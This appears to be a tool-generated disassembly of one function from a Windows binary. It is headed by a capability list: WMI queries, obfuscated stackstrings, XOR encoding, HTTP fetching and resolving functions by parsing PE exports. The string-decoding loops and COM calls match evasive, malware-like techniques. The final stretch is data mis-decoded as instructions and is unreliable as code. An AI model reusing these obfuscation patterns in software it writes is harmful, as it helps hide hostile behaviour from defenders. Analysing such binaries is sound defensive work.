Function at 0x43ae30
Capabilities:
Connect to wmi namespace via wbemlocator
Contain obfuscated stackstrings
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x44f224]
mov dword [esp + 4], 0x932191fd
mov dword [esp + 8], 0x9f0d9d05
mov dword [esp + 0xc], 0x9b379904
mov dword [esp + 0x10], 0x87ca8511
mov dword [esp + 0x14], 0x832b8112
mov dword [esp + 0x18], 0x8f238d12
mov dword [esp + 0x1c], 0x8b8a89e5
mov ecx, 0x24
mov edx, 0xdb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0xb7
mov ebx, ecx
and ebx, 0x48
or ebx, esi
xor bl, byte [esp + ecx - 0x20]
xor bl, 0xb7
add bl, 0x4c
mov byte [esp + ecx - 0x20], bl
inc ecx
dec edx
cmp ecx, 0x40
jne case.default.0x43aece
lea ecx, [esp + 0x50]
lea ebx, [esp + 0x68]
lea esi, [esp + 4]
push ecx
push 8
push ebx
push 0xd
push esi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cc90]
jmp dword [0x44cca8]
mov word [esp + 0x68], 0x43
jmp dword [0x44cca4]
mov word [esp + 0x6a], 0x3a
jmp dword [0x44cca8]
mov dword [esp + 0x6c], 0x5c
jmp dword [0x44ccb4]
mov dword [esp + 0x6c], 0x5c
mov dword [esp + 0x6c], 0x5c
jmp dword [0x44ccb4]
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x44], 0
lea eax, [esp + 0x44]
push eax
push 0x446a98
push 1
push 0
push 0x446aa8
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ccb8]
mov dword [esp + 4], 0x912f9f2e
mov dword [esp + 8], 0x95269321
mov dword [esp + 0xc], 0x89539738
mov dword [esp + 0x10], 0x8d358b33
mov dword [esp + 0x14], 0x815c8f3a
mov word [esp + 0x18], 0x8380
mov dword [esp + 0x1a], 0
mov word [esp + 0x1e], 0
mov eax, 0x65
mov ecx, 0x1a
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x61]
mov esi, ecx
and esi, 0x14
mov edi, eax
and edi, 0xeb
or edi, esi
mov esi, edx
and esi, 0x14
or esi, 2
and edx, 0xffffffeb
xor edx, edi
xor edx, esi
xor dl, 0x16
add dl, 7
mov byte [esp + eax - 0x61], dl
inc eax
dec ecx
cmp eax, 0x81
jne case.default.0x43b024
lea esi, [esp + 4]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ccc0]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ccc8]
mov dword [esp + 0x60], edi
jmp dword [0x44ccd4]
mov dword [esp + 4], 0x3383319f
mov dword [esp + 8], 0x2f2e2d98
mov word [esp + 0xc], 0
xor eax, eax
mov ecx, 0x60f13f3
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea esi, [ecx - 0x60f1300]
mov edx, esi
mov edi, eax
and edi, 6
mov ebx, ecx
and ebx, esi
and esi, 0x19
or esi, edi
xor esi, ecx
xor esi, 2
or esi, ebx
movzx edi, byte [esp + eax + 4]
or edx, edi
and esi, edi
not edx
or edx, esi
add dl, 0xc4
mov byte [esp + eax + 4], dl
inc eax
dec ecx
cmp eax, 0xa
jne 0x43b080
lea esi, [esp + 4]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 4], 0x29612b51
mov dword [esp + 8], 0x2d652f64
mov dword [esp + 0xc], 0x51265369
mov dword [esp + 0x10], 0x55785770
mov dword [esp + 0x14], 0x59105b74
mov dword [esp + 0x18], 0x5d2f5f2e
mov dword [esp + 0x1c], 0x4162432f
mov dword [esp + 0x20], 0x45294739
mov dword [esp + 0x24], 0x491f4bd6
mov dword [esp + 0x28], 0x4d2f4f1e
mov dword [esp + 0x2c], 0x713d730a
mov dword [esp + 0x30], 0x75037701
mov word [esp + 0x34], 0x7b74
mov dword [esp + 0x36], 0
mov eax, 0x9c64b3b7
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x639b4c4d]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x6d
mov byte [esp + eax + 0x639b4c4d], cl
inc eax
cmp eax, 0x9c64b3ed
jne 0x43b140
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esp + 0x3c]
mov edx, dword [ecx]
lea esi, [esp + 0x40]
push esi
push 0
push 0x30
push eax
push edi
push ecx
call dword [edx + 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 4], 0x3383319f
mov dword [esp + 8], 0x2f2e2d98
mov word [esp + 0xc], 0
xor eax, eax
mov ecx, 0x60f13f3
nop
nop
lea esi, [ecx - 0x60f1300]
mov edx, esi
mov edi, eax
and edi, 6
mov ebx, ecx
and ebx, esi
and esi, 0x19
or esi, edi
xor esi, ecx
xor esi, 2
or esi, ebx
movzx edi, byte [esp + eax + 4]
or edx, edi
and esi, edi
not edx
or edx, esi
add dl, 0xc4
mov byte [esp + eax + 4], dl
inc eax
dec ecx
cmp eax, 0xa
jne 0x43b1b0
lea esi, [esp + 4]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [esp + 4], 0x29612b51
mov dword [esp + 8], 0x2d652f64
mov dword [esp + 0xc], 0x51265369
mov dword [esp + 0x10], 0x55785770
mov dword [esp + 0x14], 0x59105b74
mov dword [esp + 0x18], 0x5d2f5f2e
mov dword [esp + 0x1c], 0x4162432f
mov dword [esp + 0x20], 0x45294739
mov dword [esp + 0x24], 0x491f4bd6
mov dword [esp + 0x28], 0x4d2f4f1e
mov dword [esp + 0x2c], 0x713d730a
mov dword [esp + 0x30], 0x75037701
mov word [esp + 0x34], 0x7b74
mov dword [esp + 0x36], 0
mov eax, 0x9c64b3b7
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x639b4c4d]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x6d
mov byte [esp + eax + 0x639b4c4d], cl
inc eax
cmp eax, 0x9c64b3ed
jne 0x43b270
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
lea edx, [esp + 0x40]
push edx
push 0
push 0x30
push ebx
push edi
push eax
call dword [ecx + 0x50]
jmp dword [0x44ccdc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cce0]
mov dword [esp + 0x48], 0
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
lea edx, [esp + 0x48]
lea esi, [esp + 0x4c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x48], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
lea esi, [esp + 4]
jmp dword [eax*4 + 0x44cce8]
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x4c]
mov dword [esp + 4], 0x8f2b89df
mov dword [esp + 8], 0x833b8d3a
mov dword [esp + 0xc], 0x873a8121
mov dword [esp + 0x10], 0x9b2f85d6
mov dword [esp + 0x14], 0x9f389925
mov dword [esp + 0x18], 0x93249d39
mov word [esp + 0x1c], 0x9190
mov dword [esp + 0x1e], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa2
xor dl, byte [esp + ecx + 4]
add dl, 0xd6
mov byte [esp + ecx + 4], dl
inc ecx
cmp ecx, 0x1e
jne case.default.0x43b39e
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x80]
push edx
push 0
push esi
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x78], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44ccf0]
push dword [esp + 0x80]
call fcn.004317e0
add esp, 4
mov esi, eax
lea ecx, [eax + 1]
mov dword [esp], ecx
push ecx
call fcn.0040c720
add esp, 4
push dword [esp + 0x80]
push dword [esp + 4]
mov dword [esp + 8], eax
push eax
call fcn.0042a110
add esp, 0xc
add esi, 0xfffffffc
mov dword [esp + 0x64], esi
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x44ccf8]
mov ecx, eax
or ecx, 4
mov edx, eax
and edx, 4
imul ecx, edx
xor edx, 4
mov esi, eax
and esi, 0xfffffffb
imul esi, edx
add ecx, dword [esp]
mov ecx, dword [esi + ecx]
mov dword [esp + eax*4 + 0x50], ecx
xor ecx, ecx
sub dword [esp + 0x64], 4
setb cl
jmp dword [ecx*4 + 0x44cd00]
inc eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x44ccf8]
jmp dword [0x44cd08]
push dword [esp]
call fcn.0040c730
add esp, 4
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edi
call esi
push ebx
call esi
lea esi, [esp + 4]
lea ebx, [esp + 0x68]
mov edi, dword [esp + 0x60]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 4], 0
push 0x72a7c387
push dword [0x44f21c]
call fcn.00442a00
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ebp + 8]
jmp dword [ecx*4 + 0x44cd10]
mov eax, dword [esp + 4]
mov dword [esp + 0x50], eax
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44cd18]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x44cd30]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x50], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x44cd38]
lea eax, [edi - 1]
imul eax, dword [esp + eax*4 + 0x50], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x50], eax
mov ebx, 0xffffffff
mov esi, 0xfffffffe
push 0x10
push 9
mov dword [esp + 8], edx
push edx
push eax
call fcn.00422540
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esi, 2
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne case.default.0x43b581
xor ebx, 8
not esi
and esi, 0x10
sub ebx, esi
xor edx, edx
cmp ebx, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x44cd50]
mov byte [eax + ecx - 1], 0x30
dec ecx
xor edx, edx
cmp ebx, ecx
setne dl
jmp dword [edx*4 + 0x44cd50]
mov edx, dword [esp]
add edx, 8
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x44cd18]
jmp dword [0x44cd2c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x43b72f
mov ebp, dword [esp + 0x38]
push 0x400
call fcn.0043d5c0
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
mov dword [esp + 4], 0x1c1d1a1b
mov ecx, 0x7a
mov edx, 0x85
movzx edi, byte [esp + ecx - 0x76]
mov ebx, ecx
xor ebx, edx
and ebx, edi
xor ebx, edx
mov al, 0x9d
sub al, bl
mov byte [esp + ecx - 0x76], al
inc ecx
dec edx
cmp ecx, 0x7e
jne 0x43b630
mov ecx, dword [esp + 4]
mov edx, dword [0x44f228]
test edx, edx
je case.default.0x43b765
xor edi, edi
mov ebx, dword [0x44f22c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x7cde1e50
je 0x43b680
inc edi
cmp edx, edi
jne 0x43b670
jmp case.default.0x43b765
mov edx, dword [ebx + edi*8 + 4]
cmp edx, ecx
jne 0x43b737
not ecx
shr ecx, 0x1f
mov dword [esp], 0
jmp dword [ecx*4 + 0x44cd60]
push esi
call fcn.0043d610
add esp, 4
mov ebp, dword [esp + 0x14]
mov dword [esp + 4], 0x1c1d1a1b
mov esi, 0x7a
mov edx, 0x85
nop
nop
movzx edi, byte [esp + esi - 0x76]
mov ecx, esi
xor ecx, edx
and ecx, edi
xor ecx, edx
mov al, 0x9d
sub al, cl
mov byte [esp + esi - 0x76], al
inc esi
dec edx
cmp esi, 0x7e
jne 0x43b6c0
mov ecx, dword [0x44f228]
test ecx, ecx
je 0x43b72a
mov edx, dword [esp + 4]
xor esi, esi
mov edi, dword [0x44f22c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x43b710
inc esi
cmp ecx, esi
jne 0x43b700
jmp 0x43b72a
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43b72a
push ebp
push 1
push dword [0x44f230]
push ecx
call fcn.004400f0
add esp, 0x10
mov eax, dword [esp]
and al, 1
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x18]
push 0x2f
push 0x400
push esi
push eax
push dword [esp + 0x10]
push 5
push dword [0x44f230]
push edx
call fcn.004400f0
add esp, 0x20
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x44cd60]
xor ecx, ecx
xor eax, eax
mov dword [esp], 0
cmp ecx, dword [esi]
setb al
xor edi, edi
jmp dword [eax*4 + 0x44cd68]
mov ebp, ebx
lea ecx, [esp + 4]
call fcn.0043db20
inc edi
xor eax, eax
cmp edi, dword [esi]
setb al
jmp dword [eax*4 + 0x44cd68]
mov eax, dword [esi + edi*4 + 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea ecx, [esp + 4]
push 0
push eax
call fcn.0043d960
xor eax, eax
mov ecx, ebp
neg ecx
mov ebx, ebp
mov ebp, dword [esp + 0x3c]
sbb eax, ebp
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
lea ecx, [esp + 4]
push eax
call fcn.0043d990
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44cd70]
lea ecx, [esp + 4]
push ebp
push ebx
push 0
call fcn.0043dbd0
test eax, eax
setns al
mov dword [esp], eax
jmp case.0x43b765.4
mov word [ebp], 0
movzx ebx, word [eax]
xor ecx, ecx
test bx, bx
setne cl
mov esi, ebp
jmp dword [ecx*4 + 0x44cd90]
xor eax, eax
jmp dword [0x44cd88]
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [esi], 0x5c
add esi, 2
add eax, 2
mov word [esi], 0
movzx ebx, word [eax]
xor ecx, ecx
test bx, bx
setne cl
jmp dword [ecx*4 + 0x44cd90]
xor edi, edi
test bx, bx
je 0x43bb92
mov edx, ebx
mov ecx, eax
nop
nop
nop
cmp dx, 0x5c
je 0x43bb90
movzx edx, word [ecx + 2]
add ecx, 2
test dx, dx
jne 0x43bb70
jmp 0x43bb92
mov edi, ecx
xor ecx, ecx
test edi, edi
sete cl
jmp dword [ecx*4 + 0x44cd98]
xor ecx, ecx
sub edi, eax
sete cl
sar edi, 1
lea edx, [edi + 1]
jmp dword [ecx*4 + 0x44cda0]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ecx
add ecx, 2
cmp word [edi], 0
jne case.default.0x43bbe7
xor ecx, ecx
sub edi, eax
sete cl
sar edi, 1
lea edx, [edi + 1]
jmp dword [ecx*4 + 0x44cda0]
xor ecx, ecx
cmp bx, 0x5c
sete cl
jmp dword [ecx*4 + 0x44cda8]
xor ecx, ecx
cmp edx, 2
sete cl
jmp dword [ecx*4 + 0x44cdb0]
xor ecx, ecx
cmp bx, 0x2e
sete cl
jmp dword [ecx*4 + 0x44cdd8]
mov dword [esp], eax
xor ecx, ecx
cmp edx, 3
sete cl
jmp dword [ecx*4 + 0x44ce50]
xor ecx, ecx
cmp bx, 0x2e
sete cl
jmp dword [ecx*4 + 0x44ce58]
xor eax, eax
mov ecx, dword [esp]
cmp word [ecx + 2], 0x2e
sete al
jmp dword [eax*4 + 0x44ce60]
test edx, edx
je 0x43bd6e
mov ebp, edx
and ebp, 3
mov eax, dword [esp]
mov dword [esp + 4], esi
je 0x43bce3
mov dword [esp + 8], edx
xor edx, edx
mov ebx, esi
mov esi, eax
movzx eax, word [esi]
xor ecx, ecx
test ax, ax
setne cl
lea esi, [esi + ecx*2]
mov word [ebx], ax
add ebx, 2
inc edx
cmp ebp, edx
jne 0x43bc80
mov eax, dword [esp + 8]
sub eax, edx
mov edx, eax
mov eax, dword [esp]
cmp edi, 3
jae 0x43bcec
mov ebp, dword [esp + 0x30]
mov esi, dword [esp + 4]
jmp 0x43bd71
lea edi, [eax + 2]
xor ecx, ecx
cmp word [edi], 0
sete cl
jmp dword [ecx*4 + 0x44cde0]
add eax, 4
mov word [esi], 0
movzx ebx, word [eax]
xor ecx, ecx
test bx, bx
setne cl
jmp dword [ecx*4 + 0x44cd90]
mov ebx, esi
mov esi, eax
cmp edi, 3
jb 0x43bca9
xor ecx, ecx
mov dword [esp + 8], edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, word [esi]
xor edx, edx
test ax, ax
setne dl
lea ebp, [esi + edx*2]
mov word [ebx + ecx*2], ax
movzx eax, word [esi + edx*2]
xor edx, edx
test ax, ax
setne dl
lea esi, [edx*2]
add esi, ebp
mov word [ebx + ecx*2 + 2], ax
movzx eax, word [ebp + edx*2]
xor edx, edx
test ax, ax
setne dl
lea ebp, [esi + edx*2]
mov word [ebx + ecx*2 + 4], ax
movzx eax, word [esi + edx*2]
xor edx, edx
test ax, ax
setne dl
lea esi, [edx*2]
add esi, ebp
mov edx, dword [esp + 8]
mov word [ebx + ecx*2 + 6], ax
add ecx, 4
cmp edx, ecx
jne case.default.0x43bd87
mov ebp, dword [esp + 0x30]
mov esi, dword [esp + 4]
mov eax, dword [esp]
lea esi, [esi + edi*2]
lea eax, [eax + edi*2]
mov word [esi], 0
movzx ebx, word [eax]
xor ecx, ecx
test bx, bx
setne cl
jmp dword [ecx*4 + 0x44cd90]
xor eax, eax
cmp esi, ebp
seta al
jmp dword [eax*4 + 0x44cde8]
mov word [esi], 0
movzx ebx, word [edi]
xor ecx, ecx
test bx, bx
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x44cd90]
jmp dword [0x44cdf8]
mov dword [esp + 4], esi
movzx esi, word [ebp]
xor eax, eax
test si, si
sete al
jmp dword [eax*4 + 0x44ce00]
mov dword [esp + 0xc], 0x162073e
mov word [esp + 0x10], 0x300
lea eax, [esp + 0x12]
mov word [eax + 4], 0
mov dword [eax], 0
mov eax, 0x81
mov ecx, 0x7e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x75]
lea edx, [ebx + ebx]
not edx
add edx, ebx
mov ebp, ebx
not ebp
or edx, ebp
and edx, eax
or ebp, ecx
add ebx, ebp
inc ebx
or ebx, edx
add bl, 0x7b
mov byte [esp + eax - 0x75], bl
inc eax
dec ecx
cmp eax, 0x8d
jne 0x43be10
xor edx, edx
mov ebp, dword [esp + 0x30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, word [ebp + edx + 2]
movzx ebx, word [esp + edx + 0xc]
movzx ecx, bx
test eax, eax
je 0x43be69
add edx, 2
cmp ax, bx
je 0x43be50
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
xor ecx, ecx
cmp edx, eax
setne cl
jmp dword [ecx*4 + 0x44ce08]
xor eax, eax
cmp si, 0x5c
sete al
jmp dword [eax*4 + 0x44ce10]
xor eax, eax
xor al, 1
movzx eax, al
mov esi, dword [esp + 4]
jmp dword [eax*4 + 0x44ce28]
movzx ebx, word [ebp]
xor ecx, ecx
test bx, bx
sete cl
jmp dword [ecx*4 + 0x44ce68]
mov dword [esp + 4], esi
mov eax, dword [esp]
lea edi, [eax + 2]
mov dword [esp + 0xc], 0x997e9b5a
mov word [esp + 0x10], 0xa798
mov dword [esp + 0x12], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0xc]
mov edx, ecx
xor edx, 0x9a7af24
mov ebp, ecx
or ebp, 0xb
and ebp, edx
mov edx, ecx
xor edx, 0xf65850db
lea edx, [edx + ebp*2]
mov ebp, edx
and ebp, esi
add edx, esi
add ebp, ebp
sub edx, ebp
add dl, 0xb9
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0xa
jne 0x43bee0
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x30]
movzx ecx, word [eax + esi + 2]
movzx ebp, word [esp + esi + 0xc]
movzx edx, bp
test ecx, ecx
je 0x43bf3d
add esi, 2
cmp cx, bp
je 0x43bf20
mov esi, ecx
not esi
and esi, edx
not edx
and edx, ecx
xor ecx, ecx
cmp edx, esi
setne cl
mov ebp, dword [esp + 0x30]
mov esi, dword [esp + 4]
jmp dword [ecx*4 + 0x44ce70]
mov ecx, dword [case.0x43bd87.61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor eax, eax
cmp bx, 0x5c
sete al
jmp dword [eax*4 + 0x44ce88]
xor eax, eax
xor al, 1
movzx eax, al
jmp dword [eax*4 + 0x44ce90]
add esi, 0xfffffffe
xor edx, edx
cmp esi, ebp
setae dl
mov ecx, esi
mov esi, ebp
jmp dword [edx*4 + 0x44ce98]
mov eax, dword [case.0x43bb99.37]
mov esi, dword [esp + 4]
nop
nop
jmp eax
jmp dword [0x44ce4c]
add esi, 0xfffffffe
mov word [esi], 0
movzx ebx, word [edi]
xor ecx, ecx
test bx, bx
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x44cd90]
cmp word [ebp + 2], 0
sete cl
xor cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x44ce90]
xor ecx, ecx
mov eax, dword [esp]
cmp word [eax + 4], 0x5c
sete cl
jmp dword [ecx*4 + 0x44cea8]
mov ecx, dword [case.0x43bd87.66]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp], edi
jmp ecx
cmp word [ebp + 2], 0
sete al
xor al, 1
movzx eax, al
mov esi, dword [esp + 4]
jmp dword [eax*4 + 0x44ce28]
mov word [esi], 0
movzx ebx, word [edi]
xor ecx, ecx
test bx, bx
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x44cd90]
xor edx, edx
cmp word [ecx], 0x5c
sete dl
mov esi, ecx
jmp dword [edx*4 + 0x44cea0]
add esi, 0xfffffffe
xor eax, eax
cmp esi, ebp
setae al
mov ecx, esi
mov esi, ebp
jmp dword [eax*4 + 0x44ce98]
mov eax, dword [esp]
add eax, 4
mov word [esi], 0
movzx ebx, word [eax]
xor ecx, ecx
test bx, bx
setne cl
jmp dword [ecx*4 + 0x44cd90]
xor eax, eax
cmp word [ebp], 0
sete al
jmp dword [eax*4 + 0x44cec0]
xor ecx, ecx
cmp word [ebp + 2], 0x3a
sete cl
mov al, 1
jmp dword [ecx*4 + 0x44cec8]
mov dword [ebp], 0x5c
xor ecx, ecx
cmp word [ebp + 2], 0x3a
sete cl
mov al, 1
jmp dword [ecx*4 + 0x44cec8]
xor ecx, ecx
cmp word [ebp + 4], 0
sete cl
mov al, 1
jmp dword [ecx*4 + 0x44ced0]
mov word [ebp + 4], 0x5c
mov word [ebp + 6], 0
jmp case.0x43b765.10
scasb al, byte es:[edi]
inc ebx
add al, ah
scasb al, byte es:[edi]
inc ebx
add al, ah
scasb al, byte es:[edi]
inc ebx
add al, ah
scasb al, byte es:[edi]
inc ebx
add al, ah
scasb al, byte es:[edi]
inc ebx
add ch, ch
scasb al, byte es:[edi]
inc ebx
add dl, bh
scasb al, byte es:[edi]
inc ebx
add byte [eax], dl
scasd eax, dword es:[edi]
inc ebx
add byte [eax], dl
scasd eax, dword es:[edi]
inc ebx
add byte [esi], ah
scasd eax, dword es:[edi]
inc ebx
add byte [esi + 0x730043b4], ah
scasd eax, dword es:[edi]
inc ebx
add byte [ebp + 0x2b0043b4], dl
mov ah, 0x43
add byte [ebx], ch
mov ah, 0x43
add byte [ebx], ch
mov al, 0x43
add byte [ebx + 0x4f0043b4], cl
mov al, 0x43
add byte [ecx - 0x50], bl
inc ebx
add byte [eax - 0x6fffbc4f], dl
mov cl, 0x43
add byte [ebx + 0x730043b2], bh
mov ah, 0x43
add bh, al
mov dl, 0x43
add byte [ecx - 0x4c], ch
inc ebx
add byte [ebx + esi*4], cl
inc ebx
add byte [esp + esi*4 + 0x43], dl
mov ah, 0x43
mov ah, 0x43
add byte [ebp + 0x430043b3], ah
mov ah, 0x43
add byte [eax], al
mov ah, 0x43
add byte [ebx], dh
mov ah, 0x43
add byte [ebx - 0x4c], al
inc ebx
add byte [ecx - 0x4c], cl
inc ebx
add byte [esp + esi*4 + 0x43], dl
add dh, al
mov ch, 0x43
add dl, ah
mov ah, 0x43
add al, al
mov ch, 0x43
add byte [eax], al
mov ch, 0x43
add al, al
mov ch, 0x43
add al, al
mov ch, 0x43
add al, al
mov ch, 0x43
add dh, al
mov ch, 0x43
add byte [esi], ah
mov ch, 0x43
add byte [eax], dl
mov ch, 0x43
add byte [esi], ah
mov ch, 0x43
add byte [ebx], ah
mov ch, 0x43
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx], ah
mov ch, 0x43
add byte [ecx], al
add byte [eax], al
add byte [ebp + esi*4 - 0x4a6fffbd], ah
inc ebx
add ch, bh
mov ch, 0x43
add byte [esi + esi*4], al
inc ebx
add byte [edi + 0x6c0043b6], bl
mov dh, 0x43
add byte [edi + esi*4 + 0x43], ch
mov dh, 0x43
add byte [edi + esi*4 + 0x43], ch
add byte [edi - 0x55ffbc4a], bl
mov bh, 0x43
add byte [eax + 0xa0043b7], dl
mov eax, 0xbb150043
inc ebx
add byte [eax], dh
mov ebx, 0xbb300043
inc ebx
add byte [eax], dh
mov ebx, 0xbb380043
inc ebx
add byte [eax], dh
mov ebx, 0xc0a40043
rol byte [ebx], 0x62
mov ebx, 0xbba00043
invalid
inc ebx
add al, al
rol byte [ebx], 0x62
mov ebx, 0xbba00043
invalid
inc ebx
add al, al
mov ebx, 0xbbc00043
inc ebx
add dh, bh
mov ebx, 0xbbee0043
inc ebx
add dh, bh
mov ebx, 0xbb400043
mov ebx, 0xbbfe0043
inc ebx
add dh, ch
mov ebx, 0xbbfe0043
inc ebx
add byte [eax - 0x45], al
inc ebx
add byte [0xd0043bc], bl
mov esp, 0x10043
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
or eax, 0x10043bc
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [0x10043bc], cl
add byte [eax], al
add byte [0xb60043bc], bl
mov esp, 0xbcc90043
inc ebx
add byte [esi - 0x63ffbc43], cl
mov ebp, 0xbdc00043
inc ebx
add al, al
mov ebp, 0xbdc00043
inc ebx
add dh, al
mov ebp, 0xbdc00043
inc ebx
add ch, bl
mov ebp, 0xbfa50043
inc ebx
add byte [ecx - 0x5affbc42], al
mov edi, 0xbe910043
inc ebx
add byte [0x10043c0], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [0x3d0043c0], ah
rol byte [ebx], 0xc0
mov edi, 0xbfb00043
inc ebx
add byte [eax - 0x3fffbc41], dh
mov edi, 0xbfb00043
inc ebx
add al, al
mov edi, 0xbfc00043
inc ebx
add al, al
mov edi, 0xbfc60043
inc ebx
add byte [eax - 0x44], ah
inc ebx
add byte [edi], ch
mov esp, 0xbc600043
inc ebx
add byte [edi], bh
mov esp, 0xbc600043
inc ebx
add byte [ebx - 0x49ffbc42], ah
mov esi, 0xbf900043
inc ebx
add byte [ebp - 0x41], bl
inc ebx
add byte [eax + 0x700043bf], dl
mov edi, 0xbf700043
inc ebx
add byte [eax - 0x41], dh
inc ebx
add byte [edx - 0x41], dh
inc ebx
add byte [edx - 0x1dffbc41], al
mov edi, 0xbff70043
inc ebx
add byte [edx - 0x40], dh
inc ebx
add byte [edi + 0x600043c0], al
rol byte [ebx], 0x72
rol byte [ebx], 0x87
rol byte [ebx], 0x87
rol byte [ebx], 0xb
rol byte [ebx], 0x20
